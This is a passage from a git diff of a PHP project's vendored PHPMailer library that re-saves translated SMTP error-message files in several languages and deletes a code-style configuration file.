zavrača podatke.'; +$PHPMAILER_LANG['empty_message'] = 'E-poštno sporočilo nima vsebine.'; +$PHPMAILER_LANG['encoding'] = 'Nepoznan tip kodiranja: '; +$PHPMAILER_LANG['execute'] = 'Operacija ni uspela: '; +$PHPMAILER_LANG['file_access'] = 'Nimam dostopa do datoteke: '; +$PHPMAILER_LANG['file_open'] = 'Ne morem odpreti datoteke: '; +$PHPMAILER_LANG['from_failed'] = 'Neveljaven e-naslov pošiljatelja: '; +$PHPMAILER_LANG['instantiate'] = 'Ne morem inicializirati mail funkcije.'; +$PHPMAILER_LANG['invalid_address'] = 'E-poštno sporočilo ni bilo poslano. E-naslov je neveljaven: '; +$PHPMAILER_LANG['invalid_hostentry'] = 'Neveljaven vnos gostitelja: '; +$PHPMAILER_LANG['invalid_host'] = 'Neveljaven gostitelj: '; +$PHPMAILER_LANG['mailer_not_supported'] = ' mailer ni podprt.'; +$PHPMAILER_LANG['provide_address'] = 'Prosimo, vnesite vsaj enega naslovnika.'; +$PHPMAILER_LANG['recipients_failed'] = 'SMTP napaka: Sledeči naslovniki so neveljavni: '; +$PHPMAILER_LANG['signing'] = 'Napaka pri podpisovanju: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'Ne morem vzpostaviti povezave s SMTP strežnikom.'; +$PHPMAILER_LANG['smtp_error'] = 'Napaka SMTP strežnika: '; +$PHPMAILER_LANG['variable_set'] = 'Ne morem nastaviti oz. ponastaviti spremenljivke: '; +$PHPMAILER_LANG['extension_missing'] = 'Manjkajoča razširitev: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-sr.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-sr.php index e868357763..0b5280f75e 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-sr.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-sr.php @@ -1,28 +1,28 @@ - - * @author Miloš Milanović - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP грешка: аутентификација није успела.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP грешка: повезивање са SMTP сервером није успело.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP грешка: подаци нису прихваћени.'; -$PHPMAILER_LANG['empty_message'] = 'Садржај поруке је празан.'; -$PHPMAILER_LANG['encoding'] = 'Непознато кодирање: '; -$PHPMAILER_LANG['execute'] = 'Није могуће извршити наредбу: '; -$PHPMAILER_LANG['file_access'] = 'Није могуће приступити датотеци: '; -$PHPMAILER_LANG['file_open'] = 'Није могуће отворити датотеку: '; -$PHPMAILER_LANG['from_failed'] = 'SMTP грешка: слање са следећих адреса није успело: '; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP грешка: слање на следеће адресе није успело: '; -$PHPMAILER_LANG['instantiate'] = 'Није могуће покренути mail функцију.'; -$PHPMAILER_LANG['invalid_address'] = 'Порука није послата. Неисправна адреса: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' мејлер није подржан.'; -$PHPMAILER_LANG['provide_address'] = 'Дефинишите бар једну адресу примаоца.'; -$PHPMAILER_LANG['signing'] = 'Грешка приликом пријаве: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'Повезивање са SMTP сервером није успело.'; -$PHPMAILER_LANG['smtp_error'] = 'Грешка SMTP сервера: '; -$PHPMAILER_LANG['variable_set'] = 'Није могуће задати нити ресетовати променљиву: '; -$PHPMAILER_LANG['extension_missing'] = 'Недостаје проширење: '; + + * @author Miloš Milanović + */ + +$PHPMAILER_LANG['authenticate'] = 'SMTP грешка: аутентификација није успела.'; +$PHPMAILER_LANG['connect_host'] = 'SMTP грешка: повезивање са SMTP сервером није успело.'; +$PHPMAILER_LANG['data_not_accepted'] = 'SMTP грешка: подаци нису прихваћени.'; +$PHPMAILER_LANG['empty_message'] = 'Садржај поруке је празан.'; +$PHPMAILER_LANG['encoding'] = 'Непознато кодирање: '; +$PHPMAILER_LANG['execute'] = 'Није могуће извршити наредбу: '; +$PHPMAILER_LANG['file_access'] = 'Није могуће приступити датотеци: '; +$PHPMAILER_LANG['file_open'] = 'Није могуће отворити датотеку: '; +$PHPMAILER_LANG['from_failed'] = 'SMTP грешка: слање са следећих адреса није успело: '; +$PHPMAILER_LANG['recipients_failed'] = 'SMTP грешка: слање на следеће адресе није успело: '; +$PHPMAILER_LANG['instantiate'] = 'Није могуће покренути mail функцију.'; +$PHPMAILER_LANG['invalid_address'] = 'Порука није послата. Неисправна адреса: '; +$PHPMAILER_LANG['mailer_not_supported'] = ' мејлер није подржан.'; +$PHPMAILER_LANG['provide_address'] = 'Дефинишите бар једну адресу примаоца.'; +$PHPMAILER_LANG['signing'] = 'Грешка приликом пријаве: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'Повезивање са SMTP сервером није успело.'; +$PHPMAILER_LANG['smtp_error'] = 'Грешка SMTP сервера: '; +$PHPMAILER_LANG['variable_set'] = 'Није могуће задати нити ресетовати променљиву: '; +$PHPMAILER_LANG['extension_missing'] = 'Недостаје проширење: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-sr_latn.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-sr_latn.php index 0e98a473a2..62138329ac 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-sr_latn.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-sr_latn.php @@ -1,28 +1,28 @@ - - * @author Miloš Milanović - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP greška: autentifikacija nije uspela.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP greška: povezivanje sa SMTP serverom nije uspelo.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP greška: podaci nisu prihvaćeni.'; -$PHPMAILER_LANG['empty_message'] = 'Sadržaj poruke je prazan.'; -$PHPMAILER_LANG['encoding'] = 'Nepoznato kodiranje: '; -$PHPMAILER_LANG['execute'] = 'Nije moguće izvršiti naredbu: '; -$PHPMAILER_LANG['file_access'] = 'Nije moguće pristupiti datoteci: '; -$PHPMAILER_LANG['file_open'] = 'Nije moguće otvoriti datoteku: '; -$PHPMAILER_LANG['from_failed'] = 'SMTP greška: slanje sa sledećih adresa nije uspelo: '; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP greška: slanje na sledeće adrese nije uspelo: '; -$PHPMAILER_LANG['instantiate'] = 'Nije moguće pokrenuti mail funkciju.'; -$PHPMAILER_LANG['invalid_address'] = 'Poruka nije poslata. Neispravna adresa: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' majler nije podržan.'; -$PHPMAILER_LANG['provide_address'] = 'Definišite bar jednu adresu primaoca.'; -$PHPMAILER_LANG['signing'] = 'Greška prilikom prijave: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'Povezivanje sa SMTP serverom nije uspelo.'; -$PHPMAILER_LANG['smtp_error'] = 'Greška SMTP servera: '; -$PHPMAILER_LANG['variable_set'] = 'Nije moguće zadati niti resetovati promenljivu: '; -$PHPMAILER_LANG['extension_missing'] = 'Nedostaje proširenje: '; + + * @author Miloš Milanović + */ + +$PHPMAILER_LANG['authenticate'] = 'SMTP greška: autentifikacija nije uspela.'; +$PHPMAILER_LANG['connect_host'] = 'SMTP greška: povezivanje sa SMTP serverom nije uspelo.'; +$PHPMAILER_LANG['data_not_accepted'] = 'SMTP greška: podaci nisu prihvaćeni.'; +$PHPMAILER_LANG['empty_message'] = 'Sadržaj poruke je prazan.'; +$PHPMAILER_LANG['encoding'] = 'Nepoznato kodiranje: '; +$PHPMAILER_LANG['execute'] = 'Nije moguće izvršiti naredbu: '; +$PHPMAILER_LANG['file_access'] = 'Nije moguće pristupiti datoteci: '; +$PHPMAILER_LANG['file_open'] = 'Nije moguće otvoriti datoteku: '; +$PHPMAILER_LANG['from_failed'] = 'SMTP greška: slanje sa sledećih adresa nije uspelo: '; +$PHPMAILER_LANG['recipients_failed'] = 'SMTP greška: slanje na sledeće adrese nije uspelo: '; +$PHPMAILER_LANG['instantiate'] = 'Nije moguće pokrenuti mail funkciju.'; +$PHPMAILER_LANG['invalid_address'] = 'Poruka nije poslata. Neispravna adresa: '; +$PHPMAILER_LANG['mailer_not_supported'] = ' majler nije podržan.'; +$PHPMAILER_LANG['provide_address'] = 'Definišite bar jednu adresu primaoca.'; +$PHPMAILER_LANG['signing'] = 'Greška prilikom prijave: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'Povezivanje sa SMTP serverom nije uspelo.'; +$PHPMAILER_LANG['smtp_error'] = 'Greška SMTP servera: '; +$PHPMAILER_LANG['variable_set'] = 'Nije moguće zadati niti resetovati promenljivu: '; +$PHPMAILER_LANG['extension_missing'] = 'Nedostaje proširenje: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-sv.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-sv.php index 0152a749aa..9872c19219 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-sv.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-sv.php @@ -1,27 +1,27 @@ - - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP fel: Kunde inte autentisera.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP fel: Kunde inte ansluta till SMTP-server.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP fel: Data accepterades inte.'; -//$PHPMAILER_LANG['empty_message'] = 'Message body empty'; -$PHPMAILER_LANG['encoding'] = 'Okänt encode-format: '; -$PHPMAILER_LANG['execute'] = 'Kunde inte köra: '; -$PHPMAILER_LANG['file_access'] = 'Ingen åtkomst till fil: '; -$PHPMAILER_LANG['file_open'] = 'Fil fel: Kunde inte öppna fil: '; -$PHPMAILER_LANG['from_failed'] = 'Följande avsändaradress är felaktig: '; -$PHPMAILER_LANG['instantiate'] = 'Kunde inte initiera e-postfunktion.'; -$PHPMAILER_LANG['invalid_address'] = 'Felaktig adress: '; -$PHPMAILER_LANG['provide_address'] = 'Du måste ange minst en mottagares e-postadress.'; -$PHPMAILER_LANG['mailer_not_supported'] = ' mailer stöds inte.'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP fel: Följande mottagare är felaktig: '; -$PHPMAILER_LANG['signing'] = 'Signeringsfel: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() misslyckades.'; -$PHPMAILER_LANG['smtp_error'] = 'SMTP serverfel: '; -$PHPMAILER_LANG['variable_set'] = 'Kunde inte definiera eller återställa variabel: '; -$PHPMAILER_LANG['extension_missing'] = 'Tillägg ej tillgängligt: '; + + */ + +$PHPMAILER_LANG['authenticate'] = 'SMTP fel: Kunde inte autentisera.'; +$PHPMAILER_LANG['connect_host'] = 'SMTP fel: Kunde inte ansluta till SMTP-server.'; +$PHPMAILER_LANG['data_not_accepted'] = 'SMTP fel: Data accepterades inte.'; +//$PHPMAILER_LANG['empty_message'] = 'Message body empty'; +$PHPMAILER_LANG['encoding'] = 'Okänt encode-format: '; +$PHPMAILER_LANG['execute'] = 'Kunde inte köra: '; +$PHPMAILER_LANG['file_access'] = 'Ingen åtkomst till fil: '; +$PHPMAILER_LANG['file_open'] = 'Fil fel: Kunde inte öppna fil: '; +$PHPMAILER_LANG['from_failed'] = 'Följande avsändaradress är felaktig: '; +$PHPMAILER_LANG['instantiate'] = 'Kunde inte initiera e-postfunktion.'; +$PHPMAILER_LANG['invalid_address'] = 'Felaktig adress: '; +$PHPMAILER_LANG['provide_address'] = 'Du måste ange minst en mottagares e-postadress.'; +$PHPMAILER_LANG['mailer_not_supported'] = ' mailer stöds inte.'; +$PHPMAILER_LANG['recipients_failed'] = 'SMTP fel: Följande mottagare är felaktig: '; +$PHPMAILER_LANG['signing'] = 'Signeringsfel: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() misslyckades.'; +$PHPMAILER_LANG['smtp_error'] = 'SMTP serverfel: '; +$PHPMAILER_LANG['variable_set'] = 'Kunde inte definiera eller återställa variabel: '; +$PHPMAILER_LANG['extension_missing'] = 'Tillägg ej tillgängligt: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-tl.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-tl.php index 737e06ba07..d15bed1c83 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-tl.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-tl.php @@ -1,28 +1,28 @@ - - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP Error: Hindi mapatotohanan.'; -$PHPMAILER_LANG['connect_host'] = 'SMTP Error: Hindi makakonekta sa SMTP host.'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP Error: Ang datos ay hindi naitanggap.'; -$PHPMAILER_LANG['empty_message'] = 'Walang laman ang mensahe'; -$PHPMAILER_LANG['encoding'] = 'Hindi alam ang encoding: '; -$PHPMAILER_LANG['execute'] = 'Hindi maisasagawa: '; -$PHPMAILER_LANG['file_access'] = 'Hindi ma-access ang file: '; -$PHPMAILER_LANG['file_open'] = 'File Error: Hindi mabuksan ang file: '; -$PHPMAILER_LANG['from_failed'] = 'Ang sumusunod na address ay nabigo: '; -$PHPMAILER_LANG['instantiate'] = 'Hindi maisimulan ang instance ng mail function.'; -$PHPMAILER_LANG['invalid_address'] = 'Hindi wasto ang address na naibigay: '; -$PHPMAILER_LANG['mailer_not_supported'] = 'Ang mailer ay hindi suportado.'; -$PHPMAILER_LANG['provide_address'] = 'Kailangan mong magbigay ng kahit isang email address na tatanggap.'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP Error: Ang mga sumusunod na tatanggap ay nabigo: '; -$PHPMAILER_LANG['signing'] = 'Hindi ma-sign: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'Ang SMTP connect() ay nabigo.'; -$PHPMAILER_LANG['smtp_error'] = 'Ang server ng SMTP ay nabigo: '; -$PHPMAILER_LANG['variable_set'] = 'Hindi matatakda o ma-reset ang mga variables: '; -$PHPMAILER_LANG['extension_missing'] = 'Nawawala ang extension: '; + + */ + +$PHPMAILER_LANG['authenticate'] = 'SMTP Error: Hindi mapatotohanan.'; +$PHPMAILER_LANG['connect_host'] = 'SMTP Error: Hindi makakonekta sa SMTP host.'; +$PHPMAILER_LANG['data_not_accepted'] = 'SMTP Error: Ang datos ay hindi naitanggap.'; +$PHPMAILER_LANG['empty_message'] = 'Walang laman ang mensahe'; +$PHPMAILER_LANG['encoding'] = 'Hindi alam ang encoding: '; +$PHPMAILER_LANG['execute'] = 'Hindi maisasagawa: '; +$PHPMAILER_LANG['file_access'] = 'Hindi ma-access ang file: '; +$PHPMAILER_LANG['file_open'] = 'File Error: Hindi mabuksan ang file: '; +$PHPMAILER_LANG['from_failed'] = 'Ang sumusunod na address ay nabigo: '; +$PHPMAILER_LANG['instantiate'] = 'Hindi maisimulan ang instance ng mail function.'; +$PHPMAILER_LANG['invalid_address'] = 'Hindi wasto ang address na naibigay: '; +$PHPMAILER_LANG['mailer_not_supported'] = 'Ang mailer ay hindi suportado.'; +$PHPMAILER_LANG['provide_address'] = 'Kailangan mong magbigay ng kahit isang email address na tatanggap.'; +$PHPMAILER_LANG['recipients_failed'] = 'SMTP Error: Ang mga sumusunod na tatanggap ay nabigo: '; +$PHPMAILER_LANG['signing'] = 'Hindi ma-sign: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'Ang SMTP connect() ay nabigo.'; +$PHPMAILER_LANG['smtp_error'] = 'Ang server ng SMTP ay nabigo: '; +$PHPMAILER_LANG['variable_set'] = 'Hindi matatakda o ma-reset ang mga variables: '; +$PHPMAILER_LANG['extension_missing'] = 'Nawawala ang extension: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-tr.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-tr.php index 4f714f8453..f938f8020e 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-tr.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-tr.php @@ -1,31 +1,31 @@ - - * @fixed by Boris Yurchenko - */ - -$PHPMAILER_LANG['authenticate'] = 'Помилка SMTP: помилка авторизації.'; -$PHPMAILER_LANG['connect_host'] = 'Помилка SMTP: не вдається під\'єднатися до SMTP-серверу.'; -$PHPMAILER_LANG['data_not_accepted'] = 'Помилка SMTP: дані не прийнято.'; -$PHPMAILER_LANG['encoding'] = 'Невідоме кодування: '; -$PHPMAILER_LANG['execute'] = 'Неможливо виконати команду: '; -$PHPMAILER_LANG['file_access'] = 'Немає доступу до файлу: '; -$PHPMAILER_LANG['file_open'] = 'Помилка файлової системи: не вдається відкрити файл: '; -$PHPMAILER_LANG['from_failed'] = 'Невірна адреса відправника: '; -$PHPMAILER_LANG['instantiate'] = 'Неможливо запустити функцію mail().'; -$PHPMAILER_LANG['provide_address'] = 'Будь ласка, введіть хоча б одну email-адресу отримувача.'; -$PHPMAILER_LANG['mailer_not_supported'] = ' - поштовий сервер не підтримується.'; -$PHPMAILER_LANG['recipients_failed'] = 'Помилка SMTP: не вдалося відправлення для таких отримувачів: '; -$PHPMAILER_LANG['empty_message'] = 'Пусте повідомлення'; -$PHPMAILER_LANG['invalid_address'] = 'Не відправлено через неправильний формат email-адреси: '; -$PHPMAILER_LANG['signing'] = 'Помилка підпису: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'Помилка з\'єднання з SMTP-сервером'; -$PHPMAILER_LANG['smtp_error'] = 'Помилка SMTP-сервера: '; -$PHPMAILER_LANG['variable_set'] = 'Неможливо встановити або скинути змінну: '; -$PHPMAILER_LANG['extension_missing'] = 'Розширення відсутнє: '; + + * @fixed by Boris Yurchenko + */ + +$PHPMAILER_LANG['authenticate'] = 'Помилка SMTP: помилка авторизації.'; +$PHPMAILER_LANG['connect_host'] = 'Помилка SMTP: не вдається під\'єднатися до SMTP-серверу.'; +$PHPMAILER_LANG['data_not_accepted'] = 'Помилка SMTP: дані не прийнято.'; +$PHPMAILER_LANG['encoding'] = 'Невідоме кодування: '; +$PHPMAILER_LANG['execute'] = 'Неможливо виконати команду: '; +$PHPMAILER_LANG['file_access'] = 'Немає доступу до файлу: '; +$PHPMAILER_LANG['file_open'] = 'Помилка файлової системи: не вдається відкрити файл: '; +$PHPMAILER_LANG['from_failed'] = 'Невірна адреса відправника: '; +$PHPMAILER_LANG['instantiate'] = 'Неможливо запустити функцію mail().'; +$PHPMAILER_LANG['provide_address'] = 'Будь ласка, введіть хоча б одну email-адресу отримувача.'; +$PHPMAILER_LANG['mailer_not_supported'] = ' - поштовий сервер не підтримується.'; +$PHPMAILER_LANG['recipients_failed'] = 'Помилка SMTP: не вдалося відправлення для таких отримувачів: '; +$PHPMAILER_LANG['empty_message'] = 'Пусте повідомлення'; +$PHPMAILER_LANG['invalid_address'] = 'Не відправлено через неправильний формат email-адреси: '; +$PHPMAILER_LANG['signing'] = 'Помилка підпису: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'Помилка з\'єднання з SMTP-сервером'; +$PHPMAILER_LANG['smtp_error'] = 'Помилка SMTP-сервера: '; +$PHPMAILER_LANG['variable_set'] = 'Неможливо встановити або скинути змінну: '; +$PHPMAILER_LANG['extension_missing'] = 'Розширення відсутнє: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-vi.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-vi.php index 81565e4ccb..d65576e2d4 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-vi.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-vi.php @@ -1,27 +1,27 @@ - - */ - -$PHPMAILER_LANG['authenticate'] = 'Lỗi SMTP: Không thể xác thực.'; -$PHPMAILER_LANG['connect_host'] = 'Lỗi SMTP: Không thể kết nối máy chủ SMTP.'; -$PHPMAILER_LANG['data_not_accepted'] = 'Lỗi SMTP: Dữ liệu không được chấp nhận.'; -$PHPMAILER_LANG['empty_message'] = 'Không có nội dung'; -$PHPMAILER_LANG['encoding'] = 'Mã hóa không xác định: '; -$PHPMAILER_LANG['execute'] = 'Không thực hiện được: '; -$PHPMAILER_LANG['file_access'] = 'Không thể truy cập tệp tin '; -$PHPMAILER_LANG['file_open'] = 'Lỗi Tập tin: Không thể mở tệp tin: '; -$PHPMAILER_LANG['from_failed'] = 'Lỗi địa chỉ gửi đi: '; -$PHPMAILER_LANG['instantiate'] = 'Không dùng được các hàm gửi thư.'; -$PHPMAILER_LANG['invalid_address'] = 'Đại chỉ emai không đúng: '; -$PHPMAILER_LANG['mailer_not_supported'] = ' trình gửi thư không được hỗ trợ.'; -$PHPMAILER_LANG['provide_address'] = 'Bạn phải cung cấp ít nhất một địa chỉ người nhận.'; -$PHPMAILER_LANG['recipients_failed'] = 'Lỗi SMTP: lỗi địa chỉ người nhận: '; -$PHPMAILER_LANG['signing'] = 'Lỗi đăng nhập: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'Lỗi kết nối với SMTP'; -$PHPMAILER_LANG['smtp_error'] = 'Lỗi máy chủ smtp '; -$PHPMAILER_LANG['variable_set'] = 'Không thể thiết lập hoặc thiết lập lại biến: '; -//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; + + */ + +$PHPMAILER_LANG['authenticate'] = 'Lỗi SMTP: Không thể xác thực.'; +$PHPMAILER_LANG['connect_host'] = 'Lỗi SMTP: Không thể kết nối máy chủ SMTP.'; +$PHPMAILER_LANG['data_not_accepted'] = 'Lỗi SMTP: Dữ liệu không được chấp nhận.'; +$PHPMAILER_LANG['empty_message'] = 'Không có nội dung'; +$PHPMAILER_LANG['encoding'] = 'Mã hóa không xác định: '; +$PHPMAILER_LANG['execute'] = 'Không thực hiện được: '; +$PHPMAILER_LANG['file_access'] = 'Không thể truy cập tệp tin '; +$PHPMAILER_LANG['file_open'] = 'Lỗi Tập tin: Không thể mở tệp tin: '; +$PHPMAILER_LANG['from_failed'] = 'Lỗi địa chỉ gửi đi: '; +$PHPMAILER_LANG['instantiate'] = 'Không dùng được các hàm gửi thư.'; +$PHPMAILER_LANG['invalid_address'] = 'Đại chỉ emai không đúng: '; +$PHPMAILER_LANG['mailer_not_supported'] = ' trình gửi thư không được hỗ trợ.'; +$PHPMAILER_LANG['provide_address'] = 'Bạn phải cung cấp ít nhất một địa chỉ người nhận.'; +$PHPMAILER_LANG['recipients_failed'] = 'Lỗi SMTP: lỗi địa chỉ người nhận: '; +$PHPMAILER_LANG['signing'] = 'Lỗi đăng nhập: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'Lỗi kết nối với SMTP'; +$PHPMAILER_LANG['smtp_error'] = 'Lỗi máy chủ smtp '; +$PHPMAILER_LANG['variable_set'] = 'Không thể thiết lập hoặc thiết lập lại biến: '; +//$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-zh.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-zh.php index ed0cd5fba5..35e4e7000e 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-zh.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-zh.php @@ -1,29 +1,29 @@ - - * @author Peter Dave Hello <@PeterDaveHello/> - * @author Jason Chiang - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP 錯誤:登入失敗。'; -$PHPMAILER_LANG['connect_host'] = 'SMTP 錯誤:無法連線到 SMTP 主機。'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP 錯誤:無法接受的資料。'; -$PHPMAILER_LANG['empty_message'] = '郵件內容為空'; -$PHPMAILER_LANG['encoding'] = '未知編碼: '; -$PHPMAILER_LANG['execute'] = '無法執行:'; -$PHPMAILER_LANG['file_access'] = '無法存取檔案:'; -$PHPMAILER_LANG['file_open'] = '檔案錯誤:無法開啟檔案:'; -$PHPMAILER_LANG['from_failed'] = '發送地址錯誤:'; -$PHPMAILER_LANG['instantiate'] = '未知函數呼叫。'; -$PHPMAILER_LANG['invalid_address'] = '因為電子郵件地址無效,無法傳送: '; -$PHPMAILER_LANG['mailer_not_supported'] = '不支援的發信客戶端。'; -$PHPMAILER_LANG['provide_address'] = '必須提供至少一個收件人地址。'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP 錯誤:以下收件人地址錯誤:'; -$PHPMAILER_LANG['signing'] = '電子簽章錯誤: '; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP 連線失敗'; -$PHPMAILER_LANG['smtp_error'] = 'SMTP 伺服器錯誤: '; -$PHPMAILER_LANG['variable_set'] = '無法設定或重設變數: '; -$PHPMAILER_LANG['extension_missing'] = '遺失模組 Extension: '; + + * @author Peter Dave Hello <@PeterDaveHello/> + * @author Jason Chiang + */ + +$PHPMAILER_LANG['authenticate'] = 'SMTP 錯誤:登入失敗。'; +$PHPMAILER_LANG['connect_host'] = 'SMTP 錯誤:無法連線到 SMTP 主機。'; +$PHPMAILER_LANG['data_not_accepted'] = 'SMTP 錯誤:無法接受的資料。'; +$PHPMAILER_LANG['empty_message'] = '郵件內容為空'; +$PHPMAILER_LANG['encoding'] = '未知編碼: '; +$PHPMAILER_LANG['execute'] = '無法執行:'; +$PHPMAILER_LANG['file_access'] = '無法存取檔案:'; +$PHPMAILER_LANG['file_open'] = '檔案錯誤:無法開啟檔案:'; +$PHPMAILER_LANG['from_failed'] = '發送地址錯誤:'; +$PHPMAILER_LANG['instantiate'] = '未知函數呼叫。'; +$PHPMAILER_LANG['invalid_address'] = '因為電子郵件地址無效,無法傳送: '; +$PHPMAILER_LANG['mailer_not_supported'] = '不支援的發信客戶端。'; +$PHPMAILER_LANG['provide_address'] = '必須提供至少一個收件人地址。'; +$PHPMAILER_LANG['recipients_failed'] = 'SMTP 錯誤:以下收件人地址錯誤:'; +$PHPMAILER_LANG['signing'] = '電子簽章錯誤: '; +$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP 連線失敗'; +$PHPMAILER_LANG['smtp_error'] = 'SMTP 伺服器錯誤: '; +$PHPMAILER_LANG['variable_set'] = '無法設定或重設變數: '; +$PHPMAILER_LANG['extension_missing'] = '遺失模組 Extension: '; diff --git a/vendor/phpmailer/phpmailer/language/phpmailer.lang-zh_cn.php b/vendor/phpmailer/phpmailer/language/phpmailer.lang-zh_cn.php index 0da59d018d..728a4994c5 100644 --- a/vendor/phpmailer/phpmailer/language/phpmailer.lang-zh_cn.php +++ b/vendor/phpmailer/phpmailer/language/phpmailer.lang-zh_cn.php @@ -1,29 +1,29 @@ - - * @author young - * @author Teddysun - */ - -$PHPMAILER_LANG['authenticate'] = 'SMTP 错误:登录失败。'; -$PHPMAILER_LANG['connect_host'] = 'SMTP 错误:无法连接到 SMTP 主机。'; -$PHPMAILER_LANG['data_not_accepted'] = 'SMTP 错误:数据不被接受。'; -$PHPMAILER_LANG['empty_message'] = '邮件正文为空。'; -$PHPMAILER_LANG['encoding'] = '未知编码:'; -$PHPMAILER_LANG['execute'] = '无法执行:'; -$PHPMAILER_LANG['file_access'] = '无法访问文件:'; -$PHPMAILER_LANG['file_open'] = '文件错误:无法打开文件:'; -$PHPMAILER_LANG['from_failed'] = '发送地址错误:'; -$PHPMAILER_LANG['instantiate'] = '未知函数调用。'; -$PHPMAILER_LANG['invalid_address'] = '发送失败,电子邮箱地址是无效的:'; -$PHPMAILER_LANG['mailer_not_supported'] = '发信客户端不被支持。'; -$PHPMAILER_LANG['provide_address'] = '必须提供至少一个收件人地址。'; -$PHPMAILER_LANG['recipients_failed'] = 'SMTP 错误:收件人地址错误:'; -$PHPMAILER_LANG['signing'] = '登录失败:'; -$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP服务器连接失败。'; -$PHPMAILER_LANG['smtp_error'] = 'SMTP服务器出错:'; -$PHPMAILER_LANG['variable_set'] = '无法设置或重置变量:'; -$PHPMAILER_LANG['extension_missing'] = '丢失模块 Extension:'; + + * @author young + * @author Teddysun + */ + +$PHPMAILER_LANG['authenticate'] = 'SMTP 错误:登录失败。'; +$PHPMAILER_LANG['connect_host'] = 'SMTP 错误:无法连接到 SMTP 主机。'; +$PHPMAILER_LANG['data_not_accepted'] = 'SMTP 错误:数据不被接受。'; +$PHPMAILER_LANG['empty_message'] = '邮件正文为空。'; +$PHPMAILER_LANG['encoding'] = '未知编码:'; +$PHPMAILER_LANG['execute'] = '无法执行:'; +$PHPMAILER_LANG['file_access'] = '无法访问文件:'; +$PHPMAILER_LANG['file_open'] = '文件错误:无法打开文件:'; +$PHPMAILER_LANG['from_failed'] = '发送地址错误:'; +$PHPMAILER_LANG['instantiate'] = '未知函数调用。'; +$PHPMAILER_LANG['invalid_address'] = '发送失败,电子邮箱地址是无效的:'; +$PHPMAILER_LANG['mailer_not_supported'] = '发信客户端不被支持。'; +$PHPMAILER_LANG['provide_address'] = '必须提供至少一个收件人地址。'; +$PHPMAILER_LANG['recipients_failed'] = 'SMTP 错误:收件人地址错误:'; +$PHPMAILER_LANG['signing'] = '登录失败:'; +$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP服务器连接失败。'; +$PHPMAILER_LANG['smtp_error'] = 'SMTP服务器出错:'; +$PHPMAILER_LANG['variable_set'] = '无法设置或重置变量:'; +$PHPMAILER_LANG['extension_missing'] = '丢失模块 Extension:'; diff --git a/vendor/phpmailer/phpmailer/phpcs.xml.dist b/vendor/phpmailer/phpmailer/phpcs.xml.dist deleted file mode 100644 index d77ae0afc7..0000000000 --- a/vendor/phpmailer/phpmailer/phpcs.xml.dist +++ /dev/null @@ -1,42 +0,0 @@ - - - - - - - - - - - - - - get_oauth_token.php - src - test - examples - language - - - - - - - - - - - - - - - - - - - - - */language/phpmailer\.lang*\.php$ - - diff --git a/vendor/phpmailer/phpmailer/phpdoc.dist.xml 